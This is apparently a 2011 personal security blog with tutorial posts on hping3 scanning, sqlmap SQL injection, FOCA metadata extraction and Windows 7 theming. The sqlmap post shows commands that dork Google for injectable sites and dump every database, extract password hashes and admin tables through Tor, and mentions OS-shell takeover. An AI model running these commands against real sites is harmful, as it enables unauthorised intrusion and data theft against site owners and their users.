Exploit-DB updates

Monday, May 2, 2011

hping3 Packet assembler/analyzer

 hping is a TCP/IP packet assembler/analyzer which I've only recently began playing with, so I've decided to make a quick post about it as well as some basic usage. Here's a bit from the site;

While hping was mainly used as a security tool in the past, it can be used in many ways by people that don't care about security to test networks and hosts. A subset of the stuff you can do using hping:
  • Firewall testing
  • Advanced port scanning
  • Network testing, using different protocols, TOS, fragmentation
  • Manual path MTU discovery
  • Advanced traceroute, under all the supported protocols
  • Remote OS fingerprinting
  • Remote uptime guessing
  • TCP/IP stacks auditing
  • hping can also be useful to students that are learning TCP/IP. 
For our first example we will be doing a simple ping to check if a ssh servers up on our network.

hping3 -c 2 -S -p 22 10.0.0.5

This command would send a packet count (-c) of two using the SYN flag (-S) to port 22 (-p) on the host 10.0.0.5 in order to see if it's live. We can also set it to send packets every specified interval as you'll see below.


hping3 -S -p 22 -V 10.0.0.5 -i 10 -I wlan0


This command would send a packet using the SYN flag every 10 seconds (-i) to port 22 with verbose output (-V) utilizing the wireless interface (-I).

This tool is so flexible that it can even be used as a scanner (though I wouldn't go and replace nmap just yet)

hping3 -S --scan 21-25,80,8080 -V 10.0.0.5 -I wlan0

Another example worth showing is the data manipulation available with hping. We will make a file with the contents we'd like out packets to display (to mess with those who actually read their logs and give them a laugh)

Now create your payload with the data you'd like your packets to contain, I'll just make mine "Pathogen was here" and save it as payload.txt (You will see the contents when looking through wireshark logs for example.) 

Do note the default data size is zero, so you will have to specify a data size (-d) in order to utilize the file option.


hping3 hakhub.tk -V -d 10 --file payload.txt -S -I wlan0

There's tons of other commands such as a listener and anonymity options, but these are a few of the possible things this tool is capable of. You can download it using your repository of choice or visit http://www.hping.org/download.php

Saturday, April 23, 2011

SQLMap - Basic / Intermediate usage

So I've recently been interested in web security a bit more and while learning more about SQL injections I came across a tool I found handy. This is sqlmap, an SQL Injection and Database takeover tool. Sqlmap can handle a variety of database management systems such as MS SQL, MYSQL, Oracle and so on. It supports five injection techniques - boolean-based blind, time-based blind, error-based, UNION query and stacked queries. It can retrieve tables, along with its contents. It also has a built in hash cracking function to attempt to crack known hash's with a dictionary based attack. It has many other fun features such as metasploit interaction for privilege escalation and utilization of google dorks, which I will give an example of below.

This command with use a given google dork and attempt to dump all available information from all the results on the first page of google. 


python sqlmap.py --dump-all -g "inurl:prodID=3030"

Now this could come in handy when pentesting because you could use google dorks to focus in on the target and spider it for specific pages or just more possible vulnerabilities. Or just  use it for the general dork fun. You can also choose a different page for the google results as the default is the first page and those have probably already been owned. Also, so we can multitask and be notified when an sql injection is found we can will add the following beep command.


python sqlmap.py --dump-all -g "inurl:prodID=3030" --gpage 3 --beep


Another possibility when targeting a specific target in a pentest you can do something like this;


python sqlmap.py -g "site:'hakhub.tk' inurl:'/prodID='" --current-user --passwords

You can also specify certain things to extract to save time which I'm sure you'll see. To start off we will fingerprint the system to get an idea of what we're dealing with. Than we will find the databases and tables with verbosity and proceed to issue another command to extract the current user and password hash's.


python sqlmap.py -u www.example.com/shop/prodID=777 -f


If all's we'll proceed to issue the following commands, this will automate the process (--batch) and show us the estimated time (--eta); 

python sqlmap.py -u www.example.com/shop/prodID=777 --dbs --tables -v 6 --batch --eta

python sqlmap.py -u www.example.com/shop/prodID=777 -D example_DB --tables --batch --eta

Now we know the example DBase have a table named ex_admin, so we'll pull that tables columns.


python sqlmap.py -u www.example.com/shop/prodID=777 -D example_DB -T ex_admin --dump -batch --eta


If we wanted to do this via a proxy, you can use the --proxy flag as I will show you. We'll assume you've got tor and polipo up and running.

python sqlmap.py -u www.example.com/shop/prodID=777 -D example_DB -T ex_admin --dump --batch --eta --proxy=http://127.0.0.1:8123


You can also brute force common tables and column with the --common-tables feature abd play around with the OS Takeover portion of it with --os-pwn (which utilizes metasploit) and --os-shell.


There's alot more this tool can do so check out the following site to learn more - http://sqlmap.sourceforge.net/doc/README.html#ss1.2

You may also find this sql "cheat sheet" useful - http://sql-tutorial.net/SQL-Cheat-Sheet.pdf

Sunday, April 17, 2011

FOCA - Extracting metadata from documents.

I was watching random defcon lectures and came across one that interested me which was about FOCA. FOCA can be used to extract metadata from within documents and jpgs. Now you may be asking, "what is metadata?", and in crude terms you could think of it as "data within data" or "data about data". Using FOCA you can extract information ranging from the OS and User that created it to the type of device used and its GPS at the time it was taken. You can also use it to spider websites in search of files, as well as using it to assist you in "google hacking" (I.E. using google dorks to find specific information or files). Could be a good assistance in a pentest or something of the sort.




Below you can find a link to where you can download FOCA as well as the lecture that sparked my interest in the first place.


http://www.informatica64.com/DownloadFOCA/

There's also this a website that you can use to extract the metadata from a document on the fly.

Here's the lecture that caught my interest in the first place. It's presented by the developers at defcon and goes into detail about what this tool can do and how to use it. 


Saturday, April 16, 2011

Changing themes in Windows 7 Starter / Personalizing Win7

Well I recently bought a new netbook and like so many others I got one with Windows 7 Starter not knowing it was crippled, though I had planned to put linux on it to dual boot for whatever OS was needed for the particular task. I was kind of disappointed that I couldn't change the theme to anything besides the default and the older themes. Then I came across one solution which was the "Stardock" theme manager. It comes with a few free themes and I actually like the default one so that works for me. There's also a dock you can use to help personalize the OS, but I've only got 1G of RAM so I don't have the memory to waste on one. So on that note I'll show you what mine looks like as of now, haven't really done much personalizing myself. Just wanted something other than the default themes and that damn background. 


You can download this theme manager from the the following URL;

There's also fences which I enjoy, they're nice and don't consume much memory. 
You can find more information on fences here http://www.stardock.com/products/fences/